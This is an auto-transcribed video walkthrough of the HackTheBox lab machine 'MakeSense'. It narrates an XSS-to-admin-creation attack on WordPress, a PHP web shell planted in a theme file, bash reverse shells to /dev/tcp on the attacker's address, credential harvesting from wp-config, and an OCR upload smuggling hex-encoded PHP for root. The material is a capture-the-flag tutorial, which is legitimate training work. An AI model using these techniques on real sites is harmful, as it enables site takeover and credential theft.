06:00 UTC Charta Aetatis Cyberpunk

Console Newsletter Pro Sign in Early access Register
Aa · Display
Themes
Type size
Density
Offensive Security · IppSec · · 47:33 runtime

HackTheBox - MakeSense

Transcript 6719 words · auto-generated captions

Machine-transcribed by YouTube. Expect errors in names, commands and version numbers.

What's going on YouTube? This is IPSAC and today we'll be doing make sense from hack the box. And as o as it sounds, my favorite part about this box was WordPress as it really highlights the dangers of cross-sight request forgery attacks as we'll fish the admin user and through cross- sight scripting trick the browser into creating us an admin user. To get to this cross-ite scripting, we'll have to analyze a speechtoext WordPress plugin, find out how we can upload text to the website, and then upload some JavaScript. Alternatively, you could just put HTML in the contact form, skip all this analysis altogether. I'm surprised how many people didn't find this. Once we get onto WordPress, we'll just get shell the typical way by placing some PHP code in a theme and executing it. And then once we're onto the box, we find a PHP server is running locally. It does some image recognition through OCR. And we have to create an image that has a PHP payload and upload it. It sounds easy and it is, but man is OCR painful. We'll do some tricks to make um the image a bit simpler to make the OCR reliable. So with that being said, let's jump in. As always, we're going to start off with an end map. So - sc for default scripts, sv enumerate versions, d-reason to give us things like the ttl oa output all formats put in the end mapap directory and call it make sense and then the IP address of 1012942.15.

This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22, and the banner tells us it's an Abuntu server. We also have HTTPS on port 443 that is running

Apache also on Ubuntu and it's directing us over to makes sense. HTTP. So I'm going to go ahead and add that to my host file. So pseudo vets host and then

we can add makesense.htb 101294215.

There we go. Save that. And then the other thing that is interesting is we have HTTP that is filtered and then 801 that is filtered as well. So both of these ports um probably are listing on local host or something like that. It's just preventing us from enumering it externally. So let's go ahead and take a look at the page. So I'm going to go to https makes sense.htb

and let's see my b may be on intercept. So let's turn that off so we can view the page. And we get the title agency LLC

and it looks like they build digital experiences. Um, this is going relatively slow or maybe it's just Okay, it is going slow. Uh, we have John Smith as the CEO, Sarah Johnson, uh, Michael Chen, Emily Davis. We have a contact form. So if I just do IPSC roots.ro and then, uh, phone number, let's do all five. So 555 555 55 555 and then I always like just

testing for like um cross uh

uh XSS um cross-ite scripting vulnerabilities. I don't know why I was just blanking on the name there, but we'll do image source HTTP 10 one uh 10

10 1586. I'm going to put it on port 8000 and we'll say test. And then we'll do slashim image. And you don't actually need quotes on this image source. At least I'm 99% sure. So I'm not going to bother adding it. We can say nclvnp 8000. We will send this request. And I always like turning intercept on when I send it so I can see exactly what happens. And we see it's going to wp-admin. So we know this is a WordPress site right now. And we have the contact form. So, let's just go ahead and send it. And since we know this is WordPress, I'm going to start up a WP scan in the background so we always have some type of recon going.

So, WP scan. It's been a while since I ran it. So, I'm going to do dash h so I can see the arguments. I think it's like d- URL. Um, let's see. How do we run it?

Um, I don't know why it did not scroll up, but okay. Let's see. D- URL. And then

how do we ignore the SSL certificate? That is going to be dash. Oh, that is a weird one. I was going to say d- insecure, but it's that. Uh, so we can say wpcan- URL https make sense.htb

disable and then I always like to enumerate all plugins and then there is a plugins detection argument that I like

doing aggressive. The difference between plugins detection like passive and aggressive is passive is just going to look at like the HTML source and try to figure out the plugins this way. Plugins detection is going to just brute force a list of plugins in the I think WP content directory to see what's running. So that's how I like doing it. We'll see if this starts working. Um going back,

we actually get a hit back. And I'm going to pause the crossade scripting here because we can actually exploit it from here. But this is as hot as it sounds. So we'll cover that in a little bit once we get to it. Um it looks like it's thinking to run. Um let's see if we do like WP content. Is this a open

directory? It is not. Sometimes in WordPress you get lucky and WP content is open and you can just enumerate it. Um maybe there's a WP content plugins. Hold on. This page just goes slow for me. WP content and then plugins. Let's

see. That is also going to be closed. Uh let's see. There are a few more directories. But before I get into that, I like just looking at the page itself to see the actual structure. And I have

no idea why this is going so slow. See, where are images stored? images look like they're on a external site unsplash.com. Is this also? It looks like yes, that is. We can go over to Burpswuite. Let's go over to the target tab and let's just go see what we have. WP content AI models. That is interesting. Plugins where we downloaded it. Themes, we have the web agency theme. Uh WP include don't really see

too many other ones. Um, there is something else under WP content that's not really that useful normally, but I think it's an uploads directory. And whenever you make a post in WordPress, it's going to um create the structure if

you start uploading files to it. So, when you like drag an image on top of a blog post, I'm pretty sure this is where it goes to upload. Um, some plugins use this as well. is going to be I think like month, day, year or something. But we have oh year and then probably month. We have a voice message.wave file. Um the quality of this is pretty bad. It's going to speak the actual password of WordPress. I'm not going to bother looking at it because we don't need to see that to exploit this. Um or if you're solving it and you wanted to log into WordPress as a user, you can get the password that way. Um but that is

that. Let's see. Does WP scan is that still running? It looks like it is. And this will also tell us the um uploads

directory is here. Let's see. Upload directory. So, it has directory listing enabled. That is definitely a finding in WP scan. So, that is good. It's going to start enumerating plugins. That's not really that interesting. And maybe this is why the box is going slow for me. Maybe I'm just hammering the connection. Um the one thing that does stick out is we have this little call icon. If I click it, it says call web agency. Click call. And I'm assuming if I had like my microphone and everything hooked up, maybe this would work. But I hang up and nothing happens. And this is going to be part of the intended path. And I'm just going to play with it as I did because when I solved this box, I didn't bother um with like hooking up my microphone and doing other things. So my first thought was I want to open up the developer tools while I go. this and see if anything gets output in the log like an error message. Nothing did. So, let's go over to the debugger.

And we can see there is WP content. We

have this transformers file. This looks like it's somewhat compiled or obuscated. So, I'm going to ignore this. Um, now I'm going down here. It doesn't look that bad, but we have whisper. Whisper is a lot of like speech to text.

And we have a encryption key right now. So we want to see kind of where this is used. So if I just search for encryption key, we see it's used here. And if we scroll up, it's used in encrypt payload. So if we look at where encrypt payload is used, I'm not seeing anything else. There is another JavaScript right below this. And here we go. We have encrypt payload right here. Um it looks like I still have some break points in. So, I'm just going to go ahead and disable those real quick.

Apparently, when I go in Firefox and clear my settings, it doesn't remove the break points, but that is fine. We can

just do it that way. Okay. So, encrypt payload. It kind of tells us the steps. We're in process text submission and it's going to summarize and it's going to encrypt the summary, it looks like. So we have this con payload is equal to um a JSON

object essentially and transcription text and summary. So we have two fields there that it encrypts. Now, what I did when I solved the box is

I went over to Claude, and we're going to do it without AI in a second, but I just want to show like my thought process of as I solve it because I always like running things in the background as I go. And I can say, hey, I'm doing an HTTP machine. There is some

JavaScript encrypting payloads and sending the data to

WordPress. The JS files are here. Um,

this is probably going to be close to what I did. It probably doesn't make sense. I have a hard time like talking and prompting, I guess, at the same time. But we'll see how well this does.

and you create a Python script to upload

text for me. So, we'll see what it does.

But what I did after the fact because I always don't like just depending 100% on AI is I want to see how this exactly works. So, we have encrypt payload. I

want to break point somewhere where encrypt payload is used. So I'm going to

go to the top where whisper ready probably. Let's see. Did I just set that? Nope. Right here.

So now we have put it in the two functions. It is going to be process and background and also process text submission. So let's go ahead and run this again. Please leave my call. Hang up. We don't really get anything. Um let's see.

Where else can we set this? If I click this

here, is this executing any JavaScript? I can see quickly. Call model. What function do you call?

Don't know. Let's see.

Whisper ready.

I guess we can just break point here.

Refresh.

Come on. Is it going to break? We'll see.

Still have not hit it. Oh, wait. Debugger paused. We have hit it.

Okay. So, let's see what I want to do.

I think I paused too early potentially because we only have one of those JavaScript files loaded.

Let's go ahead and step over a few times. There we go. So, I just wanted to get everything um loaded. And now we can call encrypt payload ourself. So, it's calling this um window.wisper transcriber is equal. So, if I copy this, let's go over into

the debug or console tab. I should be able to call encrypt payload. If I do test,

we got a promise pending. I'm just going to call await first. And there we go. Now, we can call encrypt payload. So, let's go back over into the debugger. And I want to look at how it uploads.

So phase two, this is process and background. And this one should be the um I want to

go into

the text submission, right?

Process text submission. Okay.

So how do we upload? We're going to create this form and we're going to append the action a nons a post ID and the encrypted payload. So this nons is going to be this value. The

post ID we don't have that so we'll have to make that. And then we have encrypted payload which is going to be the transcription. We can look at what Claude has done. It looks like it created the script for us. And this does work I believe. We'll test that after we do this manually though. Um,

it found everything. It uses AE as 256GCM with SHA 256 whatever. But yeah.

Oh, what was I going to do? Oh, we want to go into Burpuite. Uh, we just want to make a request here. So, I'm going to send this to the repeater tab. Let's change this to a post request. Where does this go to? Ajax URL. It's going to go to wpadmin

and this ajax.php. So we can copy that. Let's go ahead and paste it here. And then we can start building our web submission form. So we have action is equal to save voice

result. And if I just send it here, let's see what we get. I thought we'd get something uh more verbose of an error, but I guess not. Let's see. Maybe I'm doing something wrong. Let's just put a few more fields. So, and nons is equal to

this. And host ID.

We'll just do one for now. And then we need encrypted payload is equal to ABC. Do we get an error message? I thought we would have.

Oh, we have a double quote there. There we go. We have a 400 bad request. Um, I

wonder if I remove encrypted payload. Still says bad request. Okay, that's fine. So, let's see. We have to create

our payload. And I did already create one that was um here. So if I just go

ahead and copy this, we should be able to paste and then URL encode it and send

it. And we still have bad request. So

maybe we have to find a valid post ID, right? We go two, three, four, five.

None of this works. Um, there were two fields when we tried to upload, right? So, I'm going to go ahead and look at that other one. So,

when I go to encrypt payload,

I think this is going to be the process in background, right? Yes. So, what form is this sending? Um, it still says transcription and summary.

first. We have two other fields here. So, let's go ahead and try hitting this one real quick. So, I'm going to send this um I'm going to say text submission and this will be

background. Let's see. We don't really have an Oh,

is this action always this? Hold on. Let's just copy this paste. Save voice

results. Oh, we have one. Upload audio and collapse. So, there's a few forms that we actually hit. Two are save voice results. This one is save voice raw. I'm actually going to use this one because it requires less and we don't have to call encrypt payload. That's why we didn't see it before. So, save voice raw nons. that stays the

same. We have voice recording

wave blob and then so this is appending a file. I wonder if we can just not send that.

We have audio saved post ID 70. So now

if I change the post ID to 70 here we

still get a bad request.

So, let's go back to save voice

results. What are we missing? We have action save voice result. I think it's a s

invalid payload format. So, that is more of what I expected because when we look at the payload, I said it was JSON. We have transcription and summary. So let's go ahead and create that. So

I'm going to do a wait window encrypt payload and we'll say transcription.

Um I'm going to do the same. We'll do script uh fetch HTTP 101586.

I'm going to do one on port 801 because I think we already have something hitting us on port 8000 repeatedly from the first one which is kind of annoying. Uh we can do slashcript there. I want to say that is valid. Just going to copy this

and then we can say summary.

Same thing. Let's encrypt this.

That did not work. Missing colon.

There we go. Awesome.

We can copy this. Let's go back. Paste.

Control-U. Send it. Result saved. So now let's

listen listen on port 801

and I'm going to sleep for 122 minutes and pause the video and we'll resume once the sleep finishes or we get a hit. Okay, the sleep has finished and we did get a hit back and it is from the server. Uh this is the same exact thing as if we went back and just used the actual contact form. We could just put the script there and execute it that way. Uh, we also had the claw build us the payload. I haven't actually tested it, but I'm relatively confident it works because this is how I did it when I initially solved the box. Um, but I'm just going to keep going through this web form. Uh, there is one puzzling thing right now is I'm on an HTTPS page

and it hit me over HTTP. Now, I always

thought this would be blocked just because of um I forget exactly what it's called. Uh, but like normally HTTPS sites can't hit HTTP sites. It's just a cross-sight request forgery mix content type. That's what it is. Mixed content that blocks it. And Firefox um, I know blocks it, but Chromium did not. Um, we can see the origin of the page was HTTPS. When I first saw the box, I was like, well, port 80 was blocked from us. Maybe the bot is hitting the page over HTTP and that's why. But OXDF found this on Chrome, which I found interesting. So, I want to talk about it a little bit and that is going to be the um local network

access Chrome. I think this is going to be the post. Let's make sure I go over to Google

because there is a relatively big um

security issue with this if you just enable devices to hit um local. And I

don't think this is it. Maybe this is it. I want to say it was a Chrome developer uh blog post, but that may be the same thing.

Um, let's see. Transcription. This is RFC. That's not it exactly. Enabling Chrome platform status.

Let's see. I'm going to add blog to the post and then if I don't get it, I'm just going to pause the video and find Here it is. Yes, that was surprisingly hard to find. I thought it would be easy because like local network access Chrome like that's in the URL. I thought Google would find it relatively quickly, but I'm sure many of you when you go to a page it wants to find devices on your network. And when you allow the website to do this, it's going to now allow the page to hit HTTP things even if it comes from HTTPS. So why is this risky? Well, let's just say you have a local router that is running a PHP management software, right? Well, now the website

once you enable it to access your local network, it's possible it could exploit PHP to shell. Now, that exploit is relatively complex. It's just not a single payload. I don't know if it could be possible in JavaScript, but I assume it could be, right? But that is the thing like when you enable the prompt to enable like um scanning your local network, it's going to also allow HTTPS sites to hit HTTP, which I found interesting. Um but for this, I'm going to presume that the administrator or whoever is on this WordPress site isn't going to click that box to allow Chrome to hit HTTP sites.

So, what we're going to do is put our payload all in this um request. So, the

other thing I want to go to is find a good cross-sight forgery type of payload to attack WordPress. Um I think that's word uh WP Force has one. So, if I just

do WP Force GitHub, we can go to the page. I think these are the same person actually. Um open them both. Those may actually be different. That is a relatively generic name. And let's see. I really got to see what's going on here. I think maybe my DNS is going to the wrong thing because my internet is just slow whenever I do these HTB videos. But

let's go here. Come on. Go to the GitHub page.

So they have addmin. JavaScript. So, if we click on this,

it should give us some JavaScript that's going to be like a cross-sight request forgery to add an admin. So, let's go ahead and go to raw.

And we could just host this now on our box and do like a script source and point it back at us. But I'm not going to do that again because of the whole mix content type. And then I don't want to like stand up my own certificate um SSL go to let's encrypt like all that would be messy to do it over HTTPS. It's just easy to do it this way. And my VM

memory is maxed out. I wonder if that's what's going on. Um my VM just froze.

So I'm going to pause the video. I'm gonna wait till we get to the raw page and then we will resume. Hopefully I don't have to reboot the VM because it would be a pain to get back to where I'm at. Okay, I have um killed Firefox,

reopened it, and got to the page I wanted. We have this add admin JavaScript and what it's going to do, it sets the URL. All we have to use is the WP admin user new. Uh we don't have to hit uh put the whole fully qualified name. Uh we can create a login password and email. And what it's going to do is make a request to WP admin, get the cross- site request forgery token, and then use the um XML to create a user.

Um, and that is going to be a administrative user. So that's essentially what we're going to do. So let's go ahead and copy this. And I'm going to say v add user.js. Paste this

in. Again, we don't need the full name

here. Let's do login ipsack password of

password one email rootsack.rock

should be fine. Okay. And then I'm going to base 64 encode this so we can copy.

And then let's go back over to

this window. And what is it? Is it um A to B? It's either A to B or B to A. I always get those mixed up. Looks like A to B. And then I think we have a Eval in this. We do. So what I want to do is

uh do Eval B 64 decode it. And I'm going

to say payload is equal to this. Um and we want to put it in quotes. There we go. So now if I look at payload, it's just going to be that string. And what we want to do is go to

the encrypt and then I'm just going to say the summary.

Um I'm actually going let's see

let's go back to where payload is real quick. Payload equals that. And I'm just going

to add script here. And I'm doing this because I don't know how to append in JavaScript off the top of my head. It's either like a plus or a dot. JavaScript does a lot of weird things. I rather just put it all in one. So there we go. Now we have payload. It's going to be the script eval whatever.

And we probably don't need that. I just like B 64 encoding things because of bad characters and things like that. Right. So now we can make our new encrypted

payload. We'll just do this and make this very good so we can copy it. Copy this. Oh god, it killed word. Um,

two. Maybe that's what ate all my memory. Well, that is annoying.

Um, I guess let let's test Python 3 upload.py. Pi. Uh, let's see. D-text

text.

I don't think cuz it's now doing a lot more than I wanted to.

Let's see.

So, I don't feel like redoing everything. Let's just do it here. Um, IPSC root atipsseack.rocks. do this.

Um, I don't think we needed the script now that I'm thinking about this. We put the script in the message.

Yeah, I'm silly. Uh, let's hold on. when we

just use the contact form, it's not actually doing the encrypted payload thing, right? So, all we have to do is put the raw payload. And do I still have that on this? I do. Let's just go ahead

and grab this.

Delete. Paste.

That should work. Send it. Processing message. Um, if we wait probably two minutes, I'll try logging in. If we log in, um, we'll be good. If we don't, then I'm going to have to set my break points again. We'll do the whole JavaScript thing to um, create the

web form that we just did like 15 minutes ago. Okay, the sleep is done. So, moment of truth. Let's try logging in. If we go to WP admin, I want to say

that's where WordPress logs in. Yes, it is. Uh, IPSAC password one. Log in.

Please work. I don't feel like doing that whole thing again. Yes, it does. Awesome. So, let's just go ahead and remind me later for the email. I don't really care about that. Um, I thought I put Wait a second. Is the payload wrong? Uh, let's do cat add user real quick. Um, email is there. Where's email here?

Um, email. I don't know why the email did not say root atsec.rocks, but that is for another time. So, now that we're admin on WordPress, um, we could look at like

settings. Let's see. Man, this is slow. Um, oh, the administrative email. That's where it was. Um, there is like AI settings. It

looks like it may be using SQL light as well. Um, I was just looking at what the AI setting is to see if there's any like API key we can take. Um, this is probably for that whole like whisper sync thing, but don't really know what to make of that. So, let's do what we always do on WordPress. Um, I'm going to go over to appearance. We can say theme file editor. And this is going to let us um essentially write PHP on the WordPress server as long as the themes are editable by the WordPress user, right? And by default, it normally is because people don't like um using SSH

or FTP to upload themes and things like that. They like using the web editor, right? So a lot of times you'll see this. Whenever doing this, I don't like editing the main theme because if I make a mistake in my PHP code here, the website goes down, right? So, I'm going to go over to the 2023 theme. I think this theme was produced three years ago. It's 2026. The themes generally go in the year. And then, let's see. Uh, we got to find a PHP. Hidden for sounds like a fun place to put a hidden shell. So, I'm going to go ahead and edit this PHP file. Um, come

on. There we go. And let's see. We can

say if I'm just going to make this a bit better. We'll say if is set. And we probably have to put this also in quotes and say request cmd like that. And we'll

say system

request cmd. If you don't do this and you just try to execute system request cmd, the page is going to error if you don't include that variable. So whenever doing these like cheap web shells, I always like putting this if as set just so we don't create error messages unneeded. We go to edit and it says file edited successfully. So what we have to do now is figure out exactly where this theme is, right? So it's probably WP content and then there's I want to say a themes directory, right? Uh come on, it's thinking. Um and then it's probably 203,

which is the weirdest way to say this. Um my BP suite is not on. I may have done HTTP, not HTTPS. There we go. And we got patterns. So we're in the right directory. Uh we called it hidden 404.

And let's see cmd is equal to ID. And there we go. We have code execution. Awesome. Um we can show you what happens really quick if I don't have this if as set. So we can save this. Right.

ID works. But let's remove this. If someone ever hits this page, we get a 500 server error. Now, never a good thing, right? So, a little bit of obsc goes a long way. Um, if they have verbose error messages on, it'll say it was trying to execute cmd out of the payload. And that'll be really bad because if anyone hits this, they'll know how to get code execution on the server, right? So, that little thing definitely goes a long way. Uh, so let's do cmd is equal to ID. I'm going to send this over to Burpuite so we can easily edit this. Uh, proxy intercept is on

send. Go here. Repeater tab. Let's

change this. That's not the request I thought it was.

Proxy. I don't want admin Ajax. I want this one. So, change request method. CMD. We can send it to make sure it still works. Uh, server error.

Did I screw this up? Editing it. If is set request cmd system update

change request method and the header. Oh, it's still erroring, but we have it there. Hold on. Okay, we have it. I don't know why it's still doing a 500 server error, but ignore it for now. uh bash c b- i

dev dcp 1010 101586.

I'll send it to 9,0001 0 and one. Let's go ahead and URL encode this and we'll say nclvnp 90001

send this and we catch the shell. So the thing I always like doing first um is dumping the config. So we can say catwp- config.php. And we see a user Walter and a password here. I'm just going to quickly grab every line that ends in sh and pass wd. And we see Walter is a user. So I just want to try this password for password reuse. So we can copy this SSH makes

sense.htb paste. We have to specify Walter,

paste the password, and we get it. Awesome. So, the first thing I'm curious about is what files are in my home directory. I always like running find-type F to list them out. And we don't see anything too interesting. If we look at the ports open, because we saw 80 and 801 were filtered, we see 80 is open, and we also have something listening on localhost 801. We do a ps-fest. We can look at all the running processes on the box. And let's see what we have. Uh we have our reverse shell. Uh we have a cron that is running something out of root.cripts OCR4 and that's also running a PHP server. So we know root is running

PHP on uh port 801. So let's go ahead

and take a look at this. So I'm going to do a port forward. So, we'll do DL 80001127001 uh 801. And what I did there is if the very first line you type on your SSH is squiggly C, it will drop you in that prompt. Right? So, I just closed the SSH session. Uh, and I don't have that password up on my clipboard, I don't think. Uh, let's see. We can copy this. I should definitely write this to a text file, but I'm not going to hit that key again. There we go. Squigglyc 8000127001 801. Awesome. So, if I now hit 127001 80001, let's do HTTP.

We should get whatever is being hosted

um outside of that directory. And we

need a username password. I'm just going to try password reuse Walter and the same password. And we get in. And we have this thing that says draw text. Read it back. So um I'm going to say hello. If I can write

do recognize and we can see it recognized hello. And then we can also save the response. So if we do result.ext, we save it. It says it's

saved as saved result.ext. text. We look

at this and we get hello. So my first thought is let's try to get a PHP shell here. Um I don't want to try to write

this out like that would be painful. So

what I'm going to do is open up Vim

and we will just do PHP system dollar

request cmd like this. Uh, did I do that correctly? I think I did. I don't want to save that just yet. I'm going to hit shift print screen, which is going to let me highlight a snippet. And then we can save this to the desktop. And let's just do a uh B 64. Well, I

don't know exactly how it's encoded yet. Um, let's intercept this recognize.

It's going to B 64 encode the image. So, we have this data image PNG. Um, if we URL decode it, you can see

data colon image PNG B 64 then,

so let's go ahead and copy this out.

Let's delete that.

And then I want to go here. I'm gonna say B 64-wz desktop 1.png.

And then I'm gonna say Xclipip selection clipboard. And that should put everything on my clipboard. So I can go back into Burpswuite. Paste it. And we want to URL encode this. So copy this.U.

Send it. Uh, we don't need that admin ajax. Let's just close all that. And we see the request here. Now, the OCR missed out on this underscore. And that is I like tried a lot of things to try to get it. Changing the font, making it bigger, and I couldn't get this OCR to get the underscore. So, what I was thinking is I wonder if we can just encode this differently, right? Well, PHP it has a B 64 decode. So, we can kind of do it like our cross- sight scripting, but I think that's like from B 64 and it has an underscore, which sucks. Um, but there is also a hex to

bin, right? And we could just do hex to bin 42.

Um,

oh wait, I have a single quote there. Hold on. Uh, echo maybe. There we go. Right. So, if we hex incur

this, we should be good. So, let's go ahead and do this. Uh, where do I want to do? Oh, we want to change the request. So, we want to say PHP.

Then I'm going to eval something. We can say hex to bin. And then this is going to be where our code is. So let's just v exploit.ext. Um, we want a system request cmd

and then xxdp. Uh, I can do it without dashp real quick. You can see it goes like that. Uh, if I do that, there we go. It puts

it all like this.

There we go. So what this code is now going to do, it's going to decode this, which is going to be our system command, and then it's going to eval. So let's go ahead and save this now. So I'm going to do the same thing, shift print screen, highlight it, put it in 1.png,

replace it, and then let's go ahead and

run that same base 64. Let's go back to the page. Go like this. Make sure we intercept it. Uh, we can drop that. Recognize.

And let's see, we want to replace everything after percent 2C, which is the comma. And I wish I knew bash off

the top of my head to URL encode something because it would save me that second. But let's for this.

And this looks good, right? So, let's go ahead and save this. So, I'm going to save it to pone.php. And there could be one issue. When I double cllicked this, it put a space.

So, if we don't get code execution right away, I'm going to assume the space at the end right here is going to be breaking it. So, we can save that. It's

saved in pone.php. So, let's go ahead and try to hit this. cmd is equal to ID. We don't get

anything. It's just a blank error page. So, I'm going to assume uh that space broke it. So, what we want to do is change up our payload

a little bit. So, what I'm going to say, we can say eval um hexabin. And let's go ahead and

go like P1 is equal to

and P2 is equal to and break it up this

way. Uh let's see. Just going to eyeball it. So we'll copy at 51.

Paste and copy the other half.

See how good my eyeballing half did? I

was one character off. That is probably fine. So now this hex2 bin just becomes

P1 P2.

Save that. So now let's go ahead shift print screen. Copy this snippet. Save it to one. Replace it.

It's on my clipboard.

Do this whole step again. It really would be nice if I had claw just build a script to automate this portion, but I think I'm done. We'll see.

Paste. Scroll up. Control U forward.

What do you say that looks better? Like we have the hex here. This This looks good. It's promising. I'm going to just say pone 2.php. I think it overwrites pone, but I don't feel like doing that whole step again if it doesn't. So, I'm just giving it a second file. Let's go ahead and do this. cmd is equal to ID. And there we go. We are now root. So let's go ahead and turn intercept back on so we can get a shell.

So do this. Send it over. Uh change request method. B- c- i dev tcp 10 10586

91 0 and one. I think I'm 86.

That's sounding wrong, but that is right. nclvmpp

9,0001 send it and we got the shell as root. So that is going to be the box. Hope you guys enjoyed it. Take care and I will see you all next

Related videos

Discussion
0 comments 0 from AI Characters · 0 readers

Sign in to join the discussion.

Make the first comment.

That's Cyber for today

Tomorrow's desk, in your inbox by 06:00 UTC. The week's best stories, every Sunday. The month that mattered, on the 1st.

Drawn from the 537 sources the paper read this month. Text and HTML, one-click unsubscribe, free.

How often
Your desks